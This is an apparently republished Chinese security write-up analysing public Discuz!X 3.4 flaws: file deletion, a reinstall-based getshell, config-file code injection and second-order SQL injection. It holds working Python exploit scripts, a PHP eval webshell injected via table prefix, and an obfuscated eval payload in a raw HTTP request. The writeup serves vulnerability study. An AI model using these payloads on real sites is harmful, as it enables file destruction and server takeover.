Discuz!X 3.4 系列漏洞梳理
2020-04-03 10:53:53 Author: xz.aliyun.com(查看原文) 阅读量:395 收藏

分析了目前已经公开的Dz3.4系列漏洞,作为学习和记录。

Discuz!X ≤3.4 任意文件删除漏洞

1、简述

漏洞原因:之前存在的任意文件删除漏洞修复不完全导致可以绕过。

漏洞修复时间:2017年9月29日官方对gitee上的代码进行了修复

2、复现环境

因为官方提供的下载是最新的源码,漏洞修复时间是17年9月29日,通过git找一个修复前的版本签出就可。

git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be

通过安装向导安装完后注册一个测试用户,同时在网站对应目录下创建用于删除的测试文件。

3、漏洞复现

登录账户。

访问该网页:http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base

发送POST请求:

http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base
POST
birthprovince=../../../testfile.txt&profilesubmit=1&formhash=e9d84225
formhash值为用户hash,可在源码中搜索formhash找到。

请求后表单中的出生地内容变为../../../testfile.txt

然后构造请求向home.php?mod=spacecp&ac=profile&op=base上传文件,可以修改表单提交达到目的。

提交后文件被删除。

4、漏洞分析

分析一下对该页面请求时的流程。

home.php的41行有一次对其他文件的请求:

require_once libfile('home/'.$mod, 'module');

因为GET参数不满足上面代码的条件所以进入这部分。

查看libfile函数的定义:

function libfile($libname, $folder = '') {
    $libpath = '/source/'.$folder;
    if(strstr($libname, '/')) {
        list($pre, $name) = explode('/', $libname);
        $path = "{$libpath}/{$pre}/{$pre}_{$name}";
    } else {
        $path = "{$libpath}/{$libname}";
    }
    return preg_match('/^[\w\d\/_]+$/i', $path) ? realpath(DISCUZ_ROOT.$path.'.php') : false;
}

可以看出该函数的功能就是构造文件路径。

对于复现漏洞时请求页面的GET请求参数:mod=spacecp&ac=profile&op=base

在如上参数的请求时,经过libfile函数处理过后返回的路径为:/source/module/home/home_spacecp.php

跟进到/source/module/home/home_spacecp.php文件,在最后一行也引入了其他的文件,处理方式同上

require_once libfile('spacecp/'.$ac, 'include');

所以这里引入的文件为:/source/include/spacecp/spacecp_profile.php,转到该文件看看。

在第70行,存在如下条件判断,这里也就是页面上的保存按钮点击后触发的相关处理代码:

if(submitcheck('profilesubmit')) {
  ......

submitcheck函数是对profilesubmit的安全检查

function submitcheck($var, $allowget = 0, $seccodecheck = 0, $secqaacheck = 0) {
    if(!getgpc($var)) {
        return FALSE;
    } else {
        return helper_form::submitcheck($var, $allowget, $seccodecheck, $secqaacheck);
    }
}

第187行开始是对文件上传的处理函数:

if($_FILES) {
        $upload = new discuz_upload();
        foreach($_FILES as $key => $file) {
    ......

第207行开始:

if(!$upload->error()) {
                $upload->save();

                if(!$upload->get_image_info($attach['target'])) {
                    @unlink($attach['target']);
                    continue;
                }
                $setarr[$key] = '';
                $attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
                if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
                    if(isset($verifyinfo['field'][$key])) {
                        @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
                        $verifyarr[$key] = $attach['attachment'];
                    }
                    continue;
                }
                if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
                    @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
                    $verifyarr[$key] = $attach['attachment'];
                    continue;
                }
                @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
                $setarr[$key] = $attach['attachment'];
            }

文件上传成功,满足!$upload->error(),会执行到unlink语句:

@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);

这里的$key,在前面foreach($_FILES as $key => $file)中定义(189行)。$space在第23行定义,为用户个人资料。

$space = getuserbyuid($_G['uid']);
space_merge($space, 'field_home');
space_merge($space, 'profile');

会从数据库查询用户相关的信息保存到变量$space中。birthprovince就是其中之一。

所以此时$space[key] = $space[birthprovince] = '../../../testfile.txt'

也就解释了复现时修改出生日期为目的文件路径的操作。

这样的话在这里就完成了文件删除的操作。

PS:更改用户信息时通过提交表单事时抓包可以看到各参数名称,可以进行修改。

5、Exp

exp改了半天也没有攻击成功,找了公开的exp也不成功,不知道是exp问题还是环境问题。

import requests
import re
import os

def check_url(target_url):
    parameter = target_url.split('/')
    if parameter[-1] != "home.php":
            print("[*] Please make sure the url end with 'home.php'")
            exit()

def get_cookie(target_url):
    cookie = input("[*] Please paste the cookie:").split(';')  
    cookies = {}
    for i in range(0,len(cookie)):
        name,value=cookie[i].strip().split('=',1)
        cookies[name] = value
    loginurl = target_url + '?mod=spacecp'
    text = requests.get(target_url,cookies=cookies).text
    if '您需要先登录才能继续本操作' in text:
        print("[*] Login error,please check cookies!")
    else:
        return cookies


def del_file(target_url,target_file,cookies):
    loginurl = target_url + '?mod=spacecp'
    text = requests.get(target_url,cookies=cookies).text
    reformhash = 'formhash=.*?&'
    patternformhash = re.compile(reformhash)
    formhash = patternformhash.search(text).group()[9:17]
    print(formhash)
    # set birthprovince
    birthprovinceurl = target_url + '?mod=spacecp&ac=profile'
    birthprovincedata ={
                    "birthprovince":target_file,
                    "profilesubmit":"1",
                    "formhash":formhash
                    }
    requests.post(birthprovinceurl,cookies=cookies,data=birthprovincedata)
    # upload a picture and delete the target file
    basepath = os.path.abspath(os.path.dirname(__file__))
    uploadurl = target_url + '?mod=spacecp&ac=profile&op=base'
    files = {'birthprovince': ("pic.png",open(basepath+'/1.png', 'rb'))}
    data = {
        'formhash':formhash,
        'profilesubmit':'1'
        }
    s=requests.post(uploadurl,cookies=cookies,data=data,files=files)
    print(s.text)
    print("[*] Deleting the file.")


def exp():
    try:
        target_url = input("[*] please input the target url(eg:http://xxxxx/home.php):")
        check_url(target_url)
        cookies,formhash = get_cookie(target_url)
        target_file = input("[*] Please input the target file:")
        del_file(target_url,target_file,cookies,formhash)
    except KeyError as e:
        print("This poc doesn't seem to work.")

if __name__ == "__main__":
    exp()

5、修复方法

对比官方的代码变动,直接删除了几条unlink语句,简单暴力..

Discuz!X V3.4后台任意文件删除

1、简述

后台任意文件删除,需要有管理员的权限。

2、复现环境

同上

3、漏洞复现

登陆后台,进入论坛->模块管理->编辑板块,使用burp拦截提交的数据。

修改请求包,添加参数 &replybgnew=../../../testfile.txt&delreplybg=1

发送,查看文件发现被删除。

4、漏洞分析

分析一下该请求的流程。

请求URL:/dz/upload/admin.php?action=forums&operation=edit&fid=2&replybgnew=../../../testfile.txt&delreplybg=1

admin.php中接收了action参数,在第58行经过admincpfile函数处理后返回文件路径,并包含该文件。

if($admincp->allow($action, $operation, $do) || $action == 'index') {
        require $admincp->admincpfile($action);

看一下该函数的处理过程:

function admincpfile($action) {
        return './source/admincp/admincp_'.$action.'.php';
    }

经过处理返回的内容是:./source/admincp/admincp_forums.php,也就来到了漏洞存在的地方。

根据if/else的判断条件,进入else中的代码:

if(!submitcheck('detailsubmit')) {
  ......
}
else{

}

造成漏洞的代码:

if(!$multiset) {
  if($_GET['delreplybg']) {
    $valueparse = parse_url($_GET['replybgnew']);
    if(!isset($valueparse['host']) && file_exists($_G['setting']['attachurl'].'common/'.$_GET['replybgnew'])) {
      @unlink($_G['setting']['attachurl'].'common/'.$_GET['replybgnew']);
    }
    $_GET['replybgnew'] = '';
  }

$multiset默认为0,只要不给该参数赋值就满足条件进入if语句。

第二个if语句,检查GET参数delreplybg有没有内容,然后做了下检测,检测parse_url函数返回的结果中有没有host这个变量,来确保GET参数replybgnew不是url,但是并不影响传入文件路径。

这里$_G['setting']['attachurl'的值为data/attachment/,再拼接上common/$_GET['replybgnew'],这样路径就可控了。通过unlink达到文件删除的目的。

任意文件删除配合install过程getshell

1、简述

这个方法是看到一篇博客分析的,主要是利用文件删除漏洞删掉install.lock文件,绕过对安装完成的判断能够再进行安装的过程,然后再填写配置信息处构使用构造的表前缀名,时一句话写入配置文件中,getshell。

表前缀:x');@eval($_POST[lanvnal]);('

但是我在使用上面版本v3.4的代码时发现,安装后install目录下不存在index.php了。分析代码发现会有安装后的删除处理,在/source/admincp/admincp_index.php的第14行:

if(@file_exists(DISCUZ_ROOT.'./install/index.php') && !DISCUZ_DEBUG) {
    @unlink(DISCUZ_ROOT.'./install/index.php');
    if(@file_exists(DISCUZ_ROOT.'./install/index.php')) {
        dexit('Please delete install/index.php via FTP!');
    }
}

那是不是老版本存在该问题呢?

我翻了历史版本代码,直到git提交的第一个版本都有如上的处理。

但还是分析一下吧,就当学习了。

可以利用的条件:1、安装后没有登录后台,此时install/index还没删除 2、因为其他原因没有删除

2、复现环境

同上

3、漏洞复现

如果安装后install/index.php因为某些原因还存在,直接访问会有如下警告:

通过文件删除漏洞删除data目录下的install.lock文件就可以重新安装。

安装过程修改表前缀内容为:x');@eval($_POST[lanvnal]);('

config/config_ucenter.php中已经写入了webshell。

4、漏洞分析

分析一下安装逻辑,install/index.php文件的整体流程如下:

分别是我们安装的每一步,接受协议->环境检测->是否安装 UCenter Server->数据库配置信息->安装过程,生成lock文件->检查

问题出在在 db_init 的处理中,在代码第369行:

if(DZUCFULL) {
            install_uc_server();
        }

跟进install_uc_server,在1296行可以发现对config参数没做任何过滤传入到save_uc_config中:

save_uc_config($config, ROOT_PATH.'./config/config_ucenter.php');

然后save_uc_config也没做任何安全处理,就拼接参数后写入文件:

function save_uc_config($config, $file) {

    $success = false;

    list($appauthkey, $appid, $ucdbhost, $ucdbname, $ucdbuser, $ucdbpw, $ucdbcharset, $uctablepre, $uccharset, $ucapi, $ucip) = $config;

    $link = function_exists('mysql_connect') ? mysql_connect($ucdbhost, $ucdbuser, $ucdbpw, 1) : new mysqli($ucdbhost, $ucdbuser, $ucdbpw, $ucdbname);
    $uc_connnect = $link ? 'mysql' : '';

    $date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
    $year = date('Y');
    $config = <<<EOT
<?php


define('UC_CONNECT', '$uc_connnect');

define('UC_DBHOST', '$ucdbhost');
define('UC_DBUSER', '$ucdbuser');
define('UC_DBPW', '$ucdbpw');
define('UC_DBNAME', '$ucdbname');
define('UC_DBCHARSET', '$ucdbcharset');
define('UC_DBTABLEPRE', '`$ucdbname`.$uctablepre');
define('UC_DBCONNECT', 0);

define('UC_CHARSET', '$uccharset');
define('UC_KEY', '$appauthkey');
define('UC_API', '$ucapi');
define('UC_APPID', '$appid');
define('UC_IP', '$ucip');
define('UC_PPP', 20);
?>
EOT;

    if($fp = fopen($file, 'w')) {
        fwrite($fp, $config);
        fclose($fp);
        $success = true;
    }
    return $success;
}

因为 dbhost, dbuser等参数需要用来连接数据库,所以利用 tablepre 向配置文件写入shell。

5、Exp

https://gist.github.com/j178/67f4dbd8e87cd012a7caa8752ea06e7b

#!/usr/bin/env python3
import base64
import random
import re
import string

import requests

sess = requests.Session()
randstr = lambda len=5: ''.join(random.choice(string.ascii_lowercase) for _ in range(len))

##################################################
########## Customize these parameters ############
target = 'http://localhost/discuzx'
# login target site first, and copy the cookie here
cookie = "UM_distinctid=15bcd2339e93d6-07b5ae8b41447e-8373f6a-13c680-15bcd2339ea636; CNZZDATA1261218610=1456502094-1493792949-%7C1494255360; csrftoken=NotKIwodOQHO0gdMyCAxpMuObjs5RGdeEVxRlaGoRdOEeMSVRL0sfeTBqnlMjtlZ; Zy4Q_2132_saltkey=I9b3k299; Zy4Q_2132_lastvisit=1506763258; Zy4Q_2132_ulastactivity=0adb6Y1baPukQGRVYtBOZB3wmx4nVBRonRprfYWTiUaEbYlKzFWL; Zy4Q_2132_nofavfid=1; Zy4Q_2132_sid=rsQrgQ; Zy4Q_2132_lastact=1506787935%09home.php%09misc; 7Csx_2132_saltkey=U8nrO8Xr; TMT0_2132_saltkey=E3q5BpyX; PXMk_2132_saltkey=rGBnNWu7; b4Gi_2132_saltkey=adC4r05k; b4Gi_2132_lastvisit=1506796139; b4Gi_2132_onlineusernum=2; b4Gi_2132_sendmail=1; b4Gi_2132_seccode=1.8dab0a0c4ebfda651b; b4Gi_2132_sid=BywqMy; b4Gi_2132_ulastactivity=51c0lBFHqkUpD3mClFKDxwP%2BI0JGaY88XWTT1qtFBD6jAJUMphOL; b4Gi_2132_auth=6ebc2wCixg7l%2F6No7r54FCvtNKfp1e5%2FAdz2SlLqJRBimNpgrbxhSEnsH5%2BgP2mAvwVxOdrrpVVX3W5PqDhf; b4Gi_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; b4Gi_2132_creditbase=0D0D0D0D0D0D0D0D0; b4Gi_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; b4Gi_2132_lastcheckfeed=1%7C1506800134; b4Gi_2132_checkfollow=1; b4Gi_2132_lastact=1506800134%09misc.php%09seccode"
shell_password = randstr()
db_host = ''
db_user = ''
db_pw = ''
db_name = ''
#################################################

path = '/home.php?mod=spacecp&ac=profile&op=base'
url = target + path

sess.headers.update({
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    'Referer': url})


# sess.proxies.update({'http': 'socks5://localhost:1080'})
# sess.proxies.update({'http': 'http://localhost:8080'})


def login(username=None, password=None):
    sess.headers.update({'Cookie': cookie})


def get_form_hash():
    r = sess.get(url)
    match = re.search(r'"member.php\?mod=logging&amp;action=logout&amp;formhash=(.*?)"', r.text, re.I)
    if match:
        return match.group(1)


def tamper(formhash, file_to_delete):
    data = {
        'formhash': (None, formhash),
        'profilesubmit': (None, 'true'),
        'birthprovince': (None, file_to_delete)
    }
    r = sess.post(url, files=data)
    if 'parent.show_success' in r.text:
        print('tamperred successfully')
        return True


def delete(formhash, file):
    if not tamper(formhash, file):
        return False

    image = b'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAADUlEQVR4nGNgGAWkAwABNgABVtF/yAAAAABJRU5ErkJggg=='
    data = {
        'formhash': formhash,
        'profilesubmit': 'true'
    }
    files = {
        'birthprovince': ('image.png', base64.b64decode(image), 'image/png')
    }
    r = sess.post(url, data=data, files=files)
    if 'parent.show_success' in r.text:
        print('delete {} successfully'.format(file))
        return True


def getshell():
    install_url = target + '/install/index.php'
    r = sess.get(install_url)
    if '安装向导' not in r.text:
        print('install directory not exists')
        return False

    table_prefix = "x');@eval($_POST[{}]);('".format(shell_password)
    data = {
        'step': 3,
        'install_ucenter': 'yes',
        'dbinfo[dbhost]': db_host,
        'dbinfo[dbname]': db_name,
        'dbinfo[dbuser]': db_user,
        'dbinfo[dbpw]': db_pw,
        'dbinfo[tablepre]': table_prefix,
        'dbinfo[adminemail]': '[email protected]',
        'admininfo[username]': 'admin',
        'admininfo[password]': 'admin',
        'admininfo[password2]': 'admin',
        'admininfo[email]': '[email protected]',
    }
    r = sess.post(install_url, data=data)
    if '建立数据表 CREATE TABLE' not in r.text:
        print('write shell failed')
        return False
    print('shell: {}/config/config_ucenter.php'.format(target))
    print('password: {}'.format(shell_password))


if __name__ == '__main__':
    login()
    form_hash = get_form_hash()
    if form_hash:
        delete(form_hash, '../../../data/install.lock')
        getshell()
    else:
        print('failed')

Dz全版本,版本转换功能导致Getshell

1、简述

存在问题的代码在/utility/convert/目录下,这部分的功能主要是用于Dz系列产品升级/转换。

影响范围:全版本

条件:存在/utility/convert/目录和相应功能。

2、复现环境

同上,目前gitee最新版代码依然存在该漏洞。

3、漏洞复现

在产品升级/转换->选择产品转换程序 ->设置服务器信息 这里抓包,

payload:

POST /dz/utility/convert/index.php HTTP/1.1
Host: 127.0.0.1:8001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
Origin: http://127.0.0.1:8001
Connection: close
Referer: http://127.0.0.1:8001/dz/utility/convert/index.php
Upgrade-Insecure-Requests: 1

a=config&source=d7.2_x1.5&submit=yes&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(108).CHR(97).CHR(110).CHR(118).CHR(110).CHR(97).CHR(108).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa

4、漏洞分析

入口utility/convert/index.php

require './include/common.inc.php';

$action = getgpc('a');
$action = empty($action) ? getgpc('action') : $action;
$source = getgpc('source') ? getgpc('source') : getgpc('s');

$_POST['a'],直接赋值给$action,此时$action = config;

} elseif($action == 'config' || CONFIG_EMPTY) {      
    require DISCUZ_ROOT.'./include/do_config.inc.php';  
} elseif($action == 'setting') {

满足条件,引入./include/do_config.inc.php

@touch($configfile);
 ......
if(submitcheck()) {
    $newconfig = getgpc('newconfig');
    if(is_array($newconfig)) {
        $checkarray = $setting['config']['ucenter'] ? array('source', 'target', 'ucenter') : array('source', 'target');
        foreach ($checkarray as $key) {
      ......
    }
    save_config_file($configfile, $newconfig, $config_default);

$newconfig$_POST[newconfig]获取数据,save_config_file函数保将$newconfig保存到$configfile文件中,即config.inc.php文件。跟进该函数。

function save_config_file($filename, $config, $default) {
    $config = setdefault($config, $default);// 将$config中的空白项用 $default 中对应项的值填充
    $date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
    $year = date('Y');
    $content = <<<EOT
<?php


\$_config = array();

EOT;
    $content .= getvars(array('_config' => $config));
    $content .= "\r\n// ".str_pad('  THE END  ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
    file_put_contents($filename, $content);
}

getvars函数处理,此时的$config = $newconfig+config.default.php对应项的补充。看一下getvars函数:

function getvars($data, $type = 'VAR') {
    $evaluate = '';
    foreach($data as $key => $val) {
        if(!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $key)) {
            continue;
        }
        if(is_array($val)) {
            $evaluate .= buildarray($val, 0, "\${$key}")."\r\n";
        } else {
            $val = addcslashes($val, '\'\\');
            $evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
        }
    }
    return $evaluate;
}

满足if条件会执行buildarray函数,此时$key=_config$val=上面的$config。最终造成写入的在该函数中(update.php 2206行):

foreach ($array as $key => $val) {
        if($level == 0) {
            //str_pad — 使用另一个字符串填充字符串为指定长度
            // 第一个参数是要输出的字符串,指定长度为50,用'-'填充,居中
            $newline = str_pad('  CONFIG '.strtoupper($key).'  ', 50, '-', STR_PAD_BOTH);
            $return .= "\r\n// $newline //\r\n";
        }

本意是使用$config数组的key作为每一块配置区域的"注释标题",写入配置文件的$newline依赖于$key,而$key是攻击者可控的。

未对输入数据进行正确的边界处理,导致可以插入换行符,逃离注释的作用范围,从而使输入数据转化为可执行代码。

5、修复建议

update.php 2206行

foreach ($array as $key => $val){ 
    //过滤掉$key中的非字母、数字及下划线字符

全版本后台Sql注入

1、简述

Discuz! X系列全版本 截止到 Discuz! X3.4 R20191201 UTF-8

二次注入

利用条件有限,还是挺鸡肋的。

2、复现环境

同上

3、漏洞复现

报错注入:

写文件:

4、漏洞分析

漏洞原因:经过addslashes存入文件中,从文件中取出字符,转义符号丢失,造成二次注入

由前几个的分析已经明白了dz的路由形式,此处的路由解析如下:?action=xxx => ../admincp_xxx.php

跟进source/admincp/admincp_setting.php,2566行,接收参数修改UC_APPID值。

$configfile = str_replace("define('UC_APPID', '".addslashes(UC_APPID)."')", "define('UC_APPID', '".$settingnew['uc']['appid']."')", $configfile);

        $fp = fopen('./config/config_ucenter.php', 'w');
        if(!($fp = @fopen('./config/config_ucenter.php', 'w'))) {
            cpmsg('uc_config_write_error', '', 'error');
        }
        @fwrite($fp, trim($configfile));
        @fclose($fp);

成功写入恶意UC_APPID后,执行更新读取新的配置信息,3415行:

if($updatecache) {

        updatecache('setting');

最后在uc_client/model/base.phpnote_exists方法中触发注入

function note_exists() {
        $noteexists = $this->db->result_first("SELECT value FROM ".UC_DBTABLEPRE."vars WHERE name='noteexists".UC_APPID."'");
        if(empty($noteexists)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

文章来源: http://xz.aliyun.com/t/7492
如有侵权请联系:admin#unsafe.sh